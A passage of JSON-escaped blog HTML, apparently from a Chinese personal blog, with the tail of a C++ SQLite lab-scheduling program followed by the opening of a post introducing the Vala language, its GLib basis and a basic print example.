class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eexec\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_exec\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ec_str\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Can\u0026#39;t execute this sql line: \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esubstr\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e15\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;... with the following error: \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;, \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_errmsg\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"n\"\u003eTimeInformation\u003c/span\u003e \u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eget_spare\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003eTimeInformation\u003c/span\u003e \u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eoccupied\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003esql\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;select * from Spare_Time\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003estmt\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_prepare_v2\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ec_str\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e \u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003elength\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003estmt\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003estringstream\u003c/span\u003e \u003cspan class=\"n\"\u003eerror\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"n\"\u003eerror\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Can\u0026#39;t prepare statement: \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_errmsg\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"k\"\u003ethrow\u003c/span\u003e \u003cspan class=\"n\"\u003eerror\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estr\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n \u003cspan class=\"k\"\u003ewhile\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_step\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estmt\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"n\"\u003eSQLITE_ROW\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003eoccupied\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_column_int\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estmt\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)].\u003c/span\u003e\u003cspan class=\"n\"\u003epush_back\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\n \u003cspan class=\"n\"\u003esqlite3_column_int\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estmt\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"n\"\u003esqlite3_column_int\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estmt\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"p\"\u003e});\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n \u003cspan class=\"c1\"\u003e// Too crap to write, because my math is taught by Cirno:-P\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eauto\u003c/span\u003e \u003cspan class=\"nl\"\u003ei\u003c/span\u003e \u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003eoccupied\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\n \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003estart\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eend\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e9\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eauto\u003c/span\u003e \u003cspan class=\"nl\"\u003ej\u003c/span\u003e \u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esecond\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estart\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efirst\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003eend\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efirst\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efirst\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003epush_back\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"n\"\u003estart\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003eend\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n \u003cspan class=\"n\"\u003estart\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esecond\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"n\"\u003eend\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003estart\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estart\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"mi\"\u003e20\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efirst\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003epush_back\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"n\"\u003estart\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e20\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eauto\u003c/span\u003e \u003cspan class=\"nl\"\u003ei\u003c/span\u003e \u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efirst\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;: \u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eauto\u003c/span\u003e \u003cspan class=\"nl\"\u003ej\u003c/span\u003e \u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esecond\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efirst\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;-\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esecond\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34; \u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Rest of the Lab are all avaliable from 8 to 20.\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// Entry formula.\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eargc\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e\u003cspan class=\"o\"\u003e**\u003c/span\u003e \u003cspan class=\"n\"\u003eargv\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\n \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Lab manage system initialing...\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n \u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e \u003cspan class=\"n\"\u003edb\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"n\"\u003eSQLITE_OK\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eargc\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"n\"\u003estrcmp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eargv\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;--query\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Query the empty time in 2022-12-31.\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eget_spare\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Lab manage system instructions.\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Usage: lab-management [option]\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Options: \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"c1\"\u003e// cout \u0026lt;\u0026lt; \u0026#34; --user Login this system as teacher.\u0026#34; \u0026lt;\u0026lt; endl;\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34; --query Query the empty time in 2022-12-31.\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e自行了解用途,我已经忘了。\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/goodbye-2022.html"},{"title":"Vala 介绍","time":"2022-12-20T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"http://legacy.superbart.xyz/picture/Random/adwaita-d.webp\" alt=\"Featured image of post Vala 介绍\"/\u003e\u003cp\u003e\u003ca class=\"link\" href=\"https://vala.dev/\" target=\"_blank\" rel=\"noopener\"\u003eVala\u003c/a\u003e 是由 \u003ca class=\"link\" href=\"https://www.gnome.org/\" target=\"_blank\" rel=\"noopener\"\u003eGNOME 小矮人\u003c/a\u003e开发的面向对象编程语言。编程语法接近 Java,围绕 \u003ca class=\"link\" href=\"https://gitlab.gnome.org/GNOME/glib/\" target=\"_blank\" rel=\"noopener\"\u003eGLib\u003c/a\u003e 库展开。编译方式是先翻译成 C 语言代码,然后编译。用途嘛……我来讲个故事吧。\u003c/p\u003e\n\u003cp\u003e我半年前学了 Dart,Google 开发的语言,编程语法接近 Javascript。官网说它是“多用途语言”,然而我感觉多数人学了它,就是为了用 Flutter :-P\u003c/p\u003e\n\u003cp\u003eVala 也是这样,名义上是一个“多用途语言”,但是我感觉多数人学了它,只是为了 GTK。我也是不知道为啥,非得用这个语言写我的\u003ca class=\"link\" href=\"https://github.com/BenderBlog/Practise-Programs/tree/main/MySQL/exp4\" target=\"_blank\" rel=\"noopener\"\u003e数据库大作业\u003c/a\u003e,花了两周时间边学边写,最后也不知道我学了个啥……\u003c/p\u003e\n\u003cp\u003e不得不说,GLib 是一个很强大的库。本来说是给 GTK 服务的,后来独立出去了。它实现了单/双向链表,变长数组,树,Map 等数据结构。它还以 GObject 为中心,构建了一个相当完善的,庞大的,\u003cdel\u003e让我这个菜鸡不知所以的\u003c/del\u003e类系统。\u003c/p\u003e\n\u003cp\u003e接下来大致介绍顺序:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e基本输入输出(从键盘输入,从终端输出)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e判断语句 if-else 和 switch\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e循环语句,包括计数和计事件循环\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e我一点都不懂的面向对象\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eGLib 库和 Gee 库\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eSQLite 3 库\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"推荐链接\"\u003e推荐链接\u003c/h2\u003e\n\u003cp\u003e先给大家推荐一些前人的经验教训:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://wszqkzqk.github.io/2022/10/17/%E6%8E%A2%E7%B4%A2Vala%E8%AF%AD%E8%A8%80/\" target=\"_blank\" rel=\"noopener\"\u003e探索Vala语言 - 星外之神的博客 | wszqkzqk Blog\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://valadoc.org/index.htm\" target=\"_blank\" rel=\"noopener\"\u003eValadoc.org (Vala 库文档网站)\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://wiki.gnome.org/Projects/Vala/Documentation\" target=\"_blank\" rel=\"noopener\"\u003eProjects/Vala/Documentation - GNOME Wiki! (官方文档)\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"基本输入输出\"\u003e基本输入输出\u003c/h2\u003e\n\u003cp\u003e官方演示:\u003ca class=\"link\" href=\"https://wiki.gnome.org/Projects/Vala/BasicSample\" target=\"_blank\" rel=\"noopener\"\u003eProjects/Vala/BasicSample - GNOME Wiki!\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e输出一句话,都是那德行:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003evoid main() {\n // GLib 的 print 函数\n print(\u0026#34;Clapton is GOD!\u0026#34;);\n // 使用到了 stdin / stdout / stderr 对象\n stdout.printf(\u0026#34;%s is GOD!\u0026#34;,\u0026#34;Clapton\u0026#34;);\n}\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e输入一个数字:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" 